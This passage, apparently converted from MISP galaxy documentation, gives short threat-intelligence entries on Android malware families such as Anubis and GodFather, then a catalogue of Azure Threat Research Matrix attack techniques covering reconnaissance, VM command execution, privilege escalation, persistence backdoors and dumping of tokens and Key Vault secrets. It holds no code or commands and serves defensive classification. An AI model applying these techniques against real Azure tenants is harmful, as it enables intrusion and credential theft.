A new family of spyware for Android grabbed the attention of security researchers through its unusual set of features and their original implementation. Tagged BusyGasper by security experts at Kaspersky, the malware stands out through its ability to monitor the various sensors present on the targeted phone. Based on the motion detection logs, it can recognize the opportune time for running and stopping its activity.

The tag is: *misp-galaxy:android*="BusyGasper"

### Table 469. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

**Triout**

Bitdefender says Triout samples they discovered were masquerading in a clone of a legitimate application, but they were unable to discover where this malicious app was being distributed from. The obvious guess would be via third-party Android app stores, or app-sharing forums, popular in some areas of the globe.

The tag is: *misp-galaxy:android*="Triout"

### Table 470. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

**AndroidOS_HidenAd**

active adware family (detected by Trend Micro as AndroidOS_HidenAd) disguised as 85 game, TV, and remote control simulator apps on the Google Play store
The tag is: \textit{misp-galaxy:android="AndroidOS\_HidenAd"}

AndroidOS\_HidenAd is also known as:

- \textit{AndroidOS\_HiddenAd}

\textbf{Table 471. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

\textbf{Razdel}

The Banking Trojan found in Google Play is identified as Razdel, a variant of BankBot mobile banking Trojan. This newly observed variant has taken mobile threats to the next level incorporating: Remote access Trojan functions, SMS interception, UI (User Interface) Overlay with masqueraded pages etc.

The tag is: \textit{misp-galaxy:android="Razdel"}

\textbf{Table 472. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.virusremovalguidelines.com/tag/what-is-bankbot">http://www.virusremovalguidelines.com/tag/what-is-bankbot</a></td>
</tr>
<tr>
<td><a href="https://mobile.twitter.com/pr3wtd/status/1097477833625088000">https://mobile.twitter.com/pr3wtd/status/1097477833625088000</a></td>
</tr>
</tbody>
</table>

\textbf{Vulture}

Vulture is an Android banking trojan found in Google Play by ThreatFabric. It uses screen recording and keylogging as main strategy to harvest login credentials.

The tag is: \textit{misp-galaxy:android="Vulture"}

\textbf{Table 473. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.threatfabric.com/blogs/vultur-v-for-vnc.html">https://www.threatfabric.com/blogs/vultur-v-for-vnc.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/icebre4ker/status/1485651238175846400">https://twitter.com/icebre4ker/status/1485651238175846400</a></td>
</tr>
</tbody>
</table>

\textbf{Anubis}

Starting in June 2018, a number of new malware downloader samples that infect users with BankBot Anubis (aka Go\_P00t) was discovered. The campaign features at least 10 malicious downloaders disguised as various applications, all of which fetch mobile banking Trojans that run on Android-based devices. Anubis Masquerades as Google Protect.

The tag is: \textit{misp-galaxy:android="Anubis"}
GodFather

The Android banking Trojan Godfather is currently being utilized by cybercriminals to attack users of popular financial services across the globe. Godfather is designed to allow threat actors to harvest login credentials for banking applications and other financial services, and drain the accounts. To date, its victims include users of over 400 international targets, including banking applications, cryptocurrency wallets, and crypto exchanges. Few people realize that hiding under Godfather's hood is an old banking Trojan called Anubis, whose functionality has become outdated due to Android updates and the efforts of malware detection and prevention providers. Group-IB first detected Godfather, a mobile banking Trojan that steals the banking and cryptocurrency exchange credentials of users, in June 2021. Almost a year later, in March 2022, researchers at Threat Fabric were the first to mention the banking Trojan publicly. A few months later, in June, the Trojan stopped being circulated. One of the reasons, Group-IB analysts believe, why Godfather was taken out of use was for developers to update the Trojan further. Sure enough, Godfather reappeared in September 2022, now with slightly modified WebSocket functionality.

The tag is: misp-galaxy:android="GodFather"

View relationships graph

GodFather has relationships with:

- successor-of: misp-galaxy:android="Anubis" with estimative-language:likelihood-probability="likely"

Azure Threat Research Matrix

The purpose of the Azure Threat Research Matrix (ATRM) is to educate readers on the potential of Azure-based tactics, techniques, and procedures (TTPs). It is not to teach how to weaponize or specifically abuse them. For this reason, some specific commands will be obfuscated or parts will be omitted to prevent abuse.

Azure Threat Research Matrix is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.
AZT101 - Port Mapping

It is possible to view the open ports on a virtual machine by viewing the Virtual Network Interface’s assigned Network Security Group.

The tag is: *misp-galaxy:atrm="AZT101 - Port Mapping"*

Table 476. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT102 - IP Discovery

It is possible to view the IP address on a resource by viewing the Virtual Network Interface.

The tag is: *misp-galaxy:atrm="AZT102 - IP Discovery"*

Table 477. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT103 - Public Accessible Resource

A resource within Azure is accessible from the public internet.

The tag is: *misp-galaxy:atrm="AZT103 - Public Accessible Resource"*

Table 478. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT104 - Gather User Information

An adversary may obtain information about a User within Azure Active Directory. Details may include email addresses, first/last names, job information, addresses, and assigned roles. By default, all users are able to read other user’s roles and group memberships within AAD.

The tag is: *misp-galaxy:atrm="AZT104 - Gather User Information"*

Table 479. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
AZT105 - Gather Application Information

An adversary may obtain information about an application within Azure Active Directory.

The tag is: `misp-galaxy:atrm="AZT105 - Gather Application Information"`

Table 480. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT105/AZT105">link</a></td>
</tr>
</tbody>
</table>

AZT106 - Gather Role Information

An adversary may obtain information about a role within Azure Active Directory or within Azure Resource Manager.

The tag is: `misp-galaxy:atrm="AZT106 - Gather Role Information"`

Table 481. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106">link</a></td>
</tr>
</tbody>
</table>

AZT106.1 - Gather AAD Role Information

An adversary may gather role assignments within Azure Active Directory.

The tag is: `misp-galaxy:atrm="AZT106.1 - Gather AAD Role Information"`

Table 482. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-1">link</a></td>
</tr>
</tbody>
</table>

AZT106.2 - Gather Application Role Information

An adversary may gather information about an application role & it's member assignments within Azure Active Directory.

The tag is: `misp-galaxy:atrm="AZT106.2 - Gather Application Role Information"`

Table 483. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-2">link</a></td>
</tr>
</tbody>
</table>
AZT106.3 - Gather Azure Resources Role Assignments

An adversary may gather role assignments for a specific Azure Resource, Resource Group, or Subscription.

The tag is: `misp-galaxy:atrm="AZT106.3 - Gather Azure Resources Role Assignments"`

Table 484. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

AZT107 - Gather Resource Data

An adversary may obtain information and data within a resource.

The tag is: `misp-galaxy:atrm="AZT107 - Gather Resource Data"`

Table 485. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

AZT108 - Gather Victim Data

An adversary may access a user's personal data if their account is compromised. This includes data such as email, OneDrive, Teams, etc.

The tag is: `misp-galaxy:atrm="AZT108 - Gather Victim Data"`

Table 486. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

AZT201 - Valid Credentials

Adversaries may login to AzureAD using valid credentials. By logging in with valid credentials to an account or service principal, the adversary will assume all privileges of that account or service principal. If the account is privileged, this may lead to other tactics, such as persistence or privilege escalation.

The tag is: `misp-galaxy:atrm="AZT201 - Valid Credentials"`

Table 487. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
AZT201.1 - User Account

By obtaining valid user credentials, an adversary may login to AzureAD via command line or through the Azure Portal.

The tag is: `misp-galaxy:atrm="AZT201.1 - User Account"`

Table 488. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT201.2 - Service Principal

By obtaining a valid secret or certificate, an adversary may login to AzureAD via command line.

The tag is: `misp-galaxy:atrm="AZT201.2 - Service Principal"`

Table 489. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT202 - Password Spraying

An adversary may potentially gain access to AzureAD by guessing a common password for multiple users.

The tag is: `misp-galaxy:atrm="AZT202 - Password Spraying"`

Table 490. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT203 - Malicious Application Consent

An adversary may lure a victim into giving their access to a malicious application registered in AzureAD.

The tag is: `misp-galaxy:atrm="AZT203 - Malicious Application Consent"`

Table 491. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
AZT301 - Virtual Machine Scripting

Adversaries may abuse access to virtual machines by executing a script through various methods in order to gain access to the Virtual Machine.

The tag is: \textit{misp-galaxy:atrm="AZT301 - Virtual Machine Scripting"}

\textit{Table 492. Table References}

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>\url{<a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301%7D">https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301}</a></td>
</tr>
</tbody>
</table>

AZT301.1 - RunCommand

By utilizing the 'RunCommand' feature on a Virtual Machine, an attacker can pass:* \textbf{Windows}: PowerShell commands to the VM as SYSTEM.* \textbf{Linux}: Shell commands to the VM as root.

The tag is: \textit{misp-galaxy:atrm="AZT301.1 - RunCommand"}

\textit{Table 493. Table References}

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>\url{<a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-1%7D">https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-1}</a></td>
</tr>
</tbody>
</table>

AZT301.2 - CustomScriptExtension

By utilizing the 'CustomScriptExtension' extension on a Virtual Machine, an attacker can pass PowerShell commands to the VM as SYSTEM.

The tag is: \textit{misp-galaxy:atrm="AZT301.2 - CustomScriptExtension"}

\textit{Table 494. Table References}

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>\url{<a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-2%7D">https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-2}</a></td>
</tr>
</tbody>
</table>

AZT301.3 - Desired State Configuration

By utilizing the 'Desired State Configuration extension' extension on a Virtual Machine, an attacker can pass PowerShell commands to the VM as SYSTEM.

The tag is: \textit{misp-galaxy:atrm="AZT301.3 - Desired State Configuration"}

\textit{Table 495. Table References}

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>\url{<a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-3%7D">https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-3}</a></td>
</tr>
</tbody>
</table>
AZT301.4 - Compute Gallery Application

By utilizing Compute Gallery Applications, an attacker can pass MS-DOS or PowerShell commands to the VM as SYSTEM.

The tag is: misp-galaxy:atrm="AZT301.4 - Compute Gallery Application"

Table 496. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-4">https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-4</a></td>
</tr>
</tbody>
</table>

AZT301.5 - AKS Command Invoke

By utilizing 'command invoke' on an Azure Kubernetes Service (AKS) cluster, an attacker can pass commands to the cluster's VM as SYSTEM

The tag is: misp-galaxy:atrm="AZT301.5 - AKS Command Invoke"

Table 497. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT301.6 - Vmss Run Command

By utilizing the 'RunCommand' feature on a virtual machine scale set (Vmss), an attacker can execute a command on an instance or instances of VMs as:* **Windows**: PowerShell commands to the VM as SYSTEM.* **Linux**: Shell commands to the VM as root.

The tag is: misp-galaxy:atrm="AZT301.6 - Vmss Run Command"

Table 498. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-6">https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-6</a></td>
</tr>
</tbody>
</table>

AZT301.7 - Serial Console

By utilizing the serial console feature on an Azure Virtual Machine, an adversary can pass arbitrary commands.

The tag is: misp-galaxy:atrm="AZT301.7 - Serial Console"

Table 499. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-7">https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-7</a></td>
</tr>
</tbody>
</table>
AZT302 - Serverless Scripting

Adversaries may abuse access to serverless resources that are able to execute PowerShell or Python scripts on an Azure resource.

The tag is: *misp-galaxy:atrm="AZT302 - Serverless Scripting"*

Table 500. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT302.1 - Automation Account Runbook Hybrid Worker Group

By utilizing an Automation Account configured with a Hybrid Worker Group, an attacker can execute Azure commands on any Azure VM within that Hybrid Worker Group.

The tag is: *misp-galaxy:atrm="AZT302.1 - Automation Account Runbook Hybrid Worker Group"*

Table 501. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT302.2 - Automation Account Runbook RunAs Account

By utilizing an Automation Account configured with a RunAs account, an attacker can execute commands on an Azure VM via RunCommand [(AZT301.1)](../AZT301/AZT301-1.md) if that service principal has the correct role and privileges.

The tag is: *misp-galaxy:atrm="AZT302.2 - Automation Account Runbook RunAs Account"*

Table 502. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT302.3 - Automation Account Runbook Managed Identity

By utilizing an Automation Account configured with a Managed Identity, an attacker can execute commands on an Azure VM via RunCommand [(AZT301.1)](../AZT301/AZT301-1.md) if that service principal has the correct role and privileges.

The tag is: *misp-galaxy:atrm="AZT302.3 - Automation Account Runbook Managed Identity"*
AZT302.4 - Function Application

By utilizing a Function Application, an attacker can execute Azure operations on a given resource.

The tag is: misp-galaxy:atrm="AZT302.4 - Function Application"

AZT303 - Managed Device Scripting

Adversaries may abuse access to any managed devices in AzureAD by executing PowerShell or Python scripts on them.

The tag is: misp-galaxy:atrm="AZT303 - Managed Device Scripting"

AZT401 - Privileged Identity Management Role

An adversary may escalate their privileges if their current account is eligible for role activation via Privileged Identity Management (PIM).

The tag is: misp-galaxy:atrm="AZT401 - Privileged Identity Management Role"

AZT402 - Elevated Access Toggle

An adversary may escalate their privileges from Azure AD to all Azure subscriptions in the tenant if they are a global administrator

The tag is: misp-galaxy:atrm="AZT402 - Elevated Access Toggle"
AZT403 - Local Resource Hijack

By modifying the .bashrc file in a CloudShell . IMG file, an adversary may escalate their privileges by injecting commands that will add an arbitrary user account to a desired role and scope.

The tag is: misp-galaxy:atrm="AZT403 - Local Resource Hijack"

Table 508. Table References

Links

https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT403/AZT403-1

AZT404 - Principal Impersonation

Adversaries may abuse resources that are configured with a service principal or other identity to further their access to the current or other resources.

The tag is: misp-galaxy:atrm="AZT404 - Principal Impersonation"

Table 509. Table References

Links

https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404

AZT404.1 - Function Application

By utilizing a Function Application configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.

The tag is: misp-galaxy:atrm="AZT404.1 - Function Application"

Table 510. Table References

Links

https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-1

AZT404.2 - Logic Application

By utilizing a Logic Application configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.

The tag is: misp-galaxy:atrm="AZT404.2 - Logic Application"

Table 511. Table References
AZT404.3 - Automation Account

By utilizing a Automation Account configured with a managed identity or RunAs account, an attacker can execute Azure operations on a given resource.

The tag is: misp-galaxy:atrm="AZT404.3 - Automation Account"

Table 512. Table References

AZT404.4 - App Service

By utilizing an App Service configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.

The tag is: misp-galaxy:atrm="AZT404.4 - App Service"

Table 513. Table References

AZT405 - Azure AD Application

Adversaries may abuse the assigned permissions on an Azure AD Application to escalate their privileges.

The tag is: misp-galaxy:atrm="AZT405 - Azure AD Application"

Table 514. Table References

AZT405.1 - Application API Permissions

By compromising a user, user in a group, or service principal that has an application role over an application, they may be able to escalate their privileges by impersonating the associated service principal and leveraging any privileged assigned application role.

The tag is: misp-galaxy:atrm="AZT405.1 - Application API Permissions"

Table 515. Table References
AZT405.2 - Application Role

By compromising a service principal whose application has privileged API permissions, an attacker can escalate their privileges to a higher privileged role.

The tag is: misp-galaxy:atrm="AZT405.2 - Application Role"

Table 516. Table References

AZT405.3 - Application Registration Owner

By compromising an account who is an 'Owner' over an application that is configured with additional roles or API permissions, an attacker can escalate their privileges by adding a certificate or credentials & logging in as the service principal.

The tag is: misp-galaxy:atrm="AZT405.3 - Application Registration Owner"

Table 517. Table References

AZT501 - Account Manipulation

An adversary may manipulate an account to maintain access in an Azure tenant

The tag is: misp-galaxy:atrm="AZT501 - Account Manipulation"

Table 518. Table References

AZT501.1 - User Account Manipulation

An adversary may manipulate a user account to maintain access in an Azure tenant

The tag is: misp-galaxy:atrm="AZT501.1 - User Account Manipulation"

Table 519. Table References
AZT501.2 - Service Principal Manipulation

An adversary may manipulate a service principal to maintain access in an Azure tenant.

The tag is: `misp-galaxy:atrm="AZT501.2 - Service Principal Manipulation"`

Table 520. Table References

Links


AZT501.3 - Azure VM Local Administrator Manipulation

An adversary may manipulate the local admin account on an Azure VM.

The tag is: `misp-galaxy:atrm="AZT501.3 - Azure VM Local Administrator Manipulation"`

Table 521. Table References

Links


AZT502 - Account Creation

An adversary may create an account in Azure Active Directory.

The tag is: `misp-galaxy:atrm="AZT502 - Account Creation"`

Table 522. Table References

Links


AZT502.1 - User Account Creation

An adversary may create an application & service principal in Azure Active Directory.

The tag is: `misp-galaxy:atrm="AZT502.1 - User Account Creation"`

Table 523. Table References

Links

AZT502.2 - Service Principal Creation

An adversary may create an application & service principal in Azure Active Directory

The tag is: `misp-galaxy:atrm="AZT502.2 - Service Principal Creation"`

Table 524. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT502.3 - Guest Account Creation

An adversary may create a guest account in Azure Active Directory

The tag is: `misp-galaxy:atrm="AZT502.3 - Guest Account Creation"`

Table 525. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT503 - HTTP Trigger

Adversaries may configure a resource with an HTTP trigger to run commands without needing authentication.

The tag is: `misp-galaxy:atrm="AZT503 - HTTP Trigger"`

Table 526. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503</a></td>
</tr>
</tbody>
</table>

AZT503.1 - Logic Application HTTP Trigger

Adversaries may configure a Logic Application with a user account or managed identity and modify the HTTP trigger to run a command via HTTP request.

The tag is: `misp-galaxy:atrm="AZT503.1 - Logic Application HTTP Trigger"`

Table 527. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-1">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-1</a></td>
</tr>
</tbody>
</table>
AZT503.2 - Function App HTTP Trigger

Adversaries may configure a Function Application with a user account or managed identity and modify the HTTP trigger to run a command via HTTP request.

The tag is: `misp-galaxy:atrm="AZT503.2 - Function App HTTP Trigger"`

Table 528. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

AZT503.3 - Runbook Webhook

Adversaries may create a webhook to a Runbook which allows unauthenticated access into an Azure subscription or tenant.

The tag is: `misp-galaxy:atrm="AZT503.3 - Runbook Webhook"`

Table 529. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

AZT503.4 - WebJob

Adversaries may create a WebJob on a App Service which allows arbitrary background tasks to be run on a set schedule

The tag is: `misp-galaxy:atrm="AZT503.4 - WebJob"`

Table 530. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-4">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-4</a></td>
<td></td>
</tr>
</tbody>
</table>

AZT504 - Watcher Tasks

By configuring a watcher task and a Runbook, an adversary can establish persistence by executing the Runbook on a triggered event.

The tag is: `misp-galaxy:atrm="AZT504 - Watcher Tasks"`

Table 531. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT504/AZT504">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT504/AZT504</a></td>
<td></td>
</tr>
</tbody>
</table>
AZT505 - Scheduled Jobs

Adversaries may create a schedule for a Runbook to run at a defined interval.

The tag is: `misp-galaxy:atrm="AZT505 - Scheduled Jobs"`

<table>
<thead>
<tr>
<th>Table 532. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT505/AZT505-1">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT505/AZT505-1</a></td>
</tr>
</tbody>
</table>

AZT506 - Network Security Group Modification

Adversaries can modify the rules in a Network Security Group to establish access over additional ports.

The tag is: `misp-galaxy:atrm="AZT506 - Network Security Group Modification"`

<table>
<thead>
<tr>
<th>Table 533. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT506/AZT506">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT506/AZT506</a></td>
</tr>
</tbody>
</table>

AZT507 - External Entity Access

Adversaries may configure the target Azure tenant to be managed by another, external tenant, or its users.

The tag is: `misp-galaxy:atrm="AZT507 - External Entity Access"`

<table>
<thead>
<tr>
<th>Table 534. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507</a></td>
</tr>
</tbody>
</table>

AZT507.1 - Azure Lighthouse

Adversaries may utilize Azure Lighthouse to manage the target tenant from an external tenant.

The tag is: `misp-galaxy:atrm="AZT507.1 - Azure Lighthouse"`

<table>
<thead>
<tr>
<th>Table 535. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-1">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-1</a></td>
</tr>
</tbody>
</table>
AZT507.2 - Microsoft Partners

Adversaries may use Delegated Administrative Privileges to give themselves administrator access to the target tenant.

The tag is: misp-galaxy:atrm="AZT507.2 - Microsoft Partners"

Table 536. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT507.3 - Subscription Hijack

An adversary may transfer a subscription from a target tenant to an attacker-controlled tenant. This retains the billing account setup by the target and the target tenant administrators will no longer have control over the subscription.

The tag is: misp-galaxy:atrm="AZT507.3 - Subscription Hijack"

Table 537. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT507.4 - Domain Trust Modification

An adversary may add an additional identity provider or domain to maintain a backdoor into the tenant.

The tag is: misp-galaxy:atrm="AZT507.4 - Domain Trust Modification"

Table 538. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-4">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-4</a></td>
</tr>
</tbody>
</table>

AZT508 - Azure Policy

By configuring a policy with the 'DeployIfNotExists' definition, an adversary may establish persistence by creating a backdoor when the policy is triggered.

The tag is: misp-galaxy:atrm="AZT508 - Azure Policy"

Table 539. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT508/AZT508">https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT508/AZT508</a></td>
</tr>
</tbody>
</table>
AZT601 - Steal Managed Identity JsonWebToken

An adversary may utilize the resource's functionality to obtain a JWT for the applied Managed Identity Service Principal account.

The tag is: misp-galaxy:atrm="AZT601 - Steal Managed Identity JsonWebToken"

Table 540. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

AZT601.1 - Virtual Machine IMDS Request

By utilizing access to IMDS, an attacker can request a JWT for a Managed Identity on an Azure VM if they have access to execute commands on the system.

The tag is: misp-galaxy:atrm="AZT601.1 - Virtual Machine IMDS Request"

Table 541. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

AZT601.2 - Azure Kubernetes Service IMDS Request

By utilizing access to IMDS, an attacker can request a JWT for a Managed Identity on an AKS Cluster if they have access to execute commands on the system.

The tag is: misp-galaxy:atrm="AZT601.2 - Azure Kubernetes Service IMDS Request"

Table 542. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

AZT601.3 - Logic Application JWT PUT Request

If a Logic App is using a Managed Identity, an adversary can modify the logic to make an HTTP POST request to reveal the Managed Identity's JWT.

The tag is: misp-galaxy:atrm="AZT601.3 - Logic Application JWT PUT Request"

Table 543. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
AZT601.4 - Function Application JWT GET Request

If a Function App is using a Managed Identity, an adversary can modify the logic respond to an HTTP GET request to reveal the Managed Identity’s JWT.

The tag is: *misp-galaxy:atrm=*"AZT601.4 - Function Application JWT GET Request"

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT601.5 - Automation Account Runbook

If an Automation Account is using a Managed Identity, an adversary can create a Runbook to request the Managed Identity’s JWT.

The tag is: *misp-galaxy:atrm=*"AZT601.5 - Automation Account Runbook"

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT602 - Steal Service Principal Certificate

If a Runbook is utilizing a 'RunAs' account, then an adversary may manipulate the Runbook to reveal the certificate the Service Principal is using for authentication.

The tag is: *misp-galaxy:atrm=*"AZT602 - Steal Service Principal Certificate"

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT603 - Service Principal Secret Reveal

If a Function App is using a service principal for authentication, an adversary may manipulate the function app logic to reveal the service principal’s secret in plain text.

The tag is: *misp-galaxy:atrm=*"AZT603 - Service Principal Secret Reveal"

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
AZT604 - Azure KeyVault Dumping

An adversary may access an Azure KeyVault in an attempt to view secrets, certificates, or keys.

The tag is: misp-galaxy:atrm="AZT604 - Azure KeyVault Dumping"

Table 548. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT604.1 - Azure KeyVault Secret Dump

By accessing an Azure Key Vault, an adversary may dump any or all secrets.

The tag is: misp-galaxy:atrm="AZT604.1 - Azure KeyVault Secret Dump"

Table 549. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT604.2 - Azure KeyVault Certificate Dump

By accessing an Azure Key Vault, an adversary may dump any or all certificates.

The tag is: misp-galaxy:atrm="AZT604.2 - Azure KeyVault Certificate Dump"

Table 550. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT604.3 - Azure KeyVault Key Dump

By accessing an Azure Key Vault, an adversary may dump any or all public keys. Note that Private keys cannot be retrieved.

The tag is: misp-galaxy:atrm="AZT604.3 - Azure KeyVault Key Dump"

Table 551. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT605 - Resource Secret Reveal

An adversary may access an Azure KeyVault in an attempt to view secrets, certificates, or keys.
AZT605.1 - Storage Account Access Key Dumping

By accessing a Storage Account, an adversary may dump access keys pertaining to the Storage Account, which will give them full access to the Storage Account.

The tag is: `misp-galaxy:atrm="AZT605.1 - Storage Account Access Key Dumping"`

AZT605.2 - Automation Account Credential Secret Dump

By editing a Runbook, a credential configured in an Automation Account may be revealed.

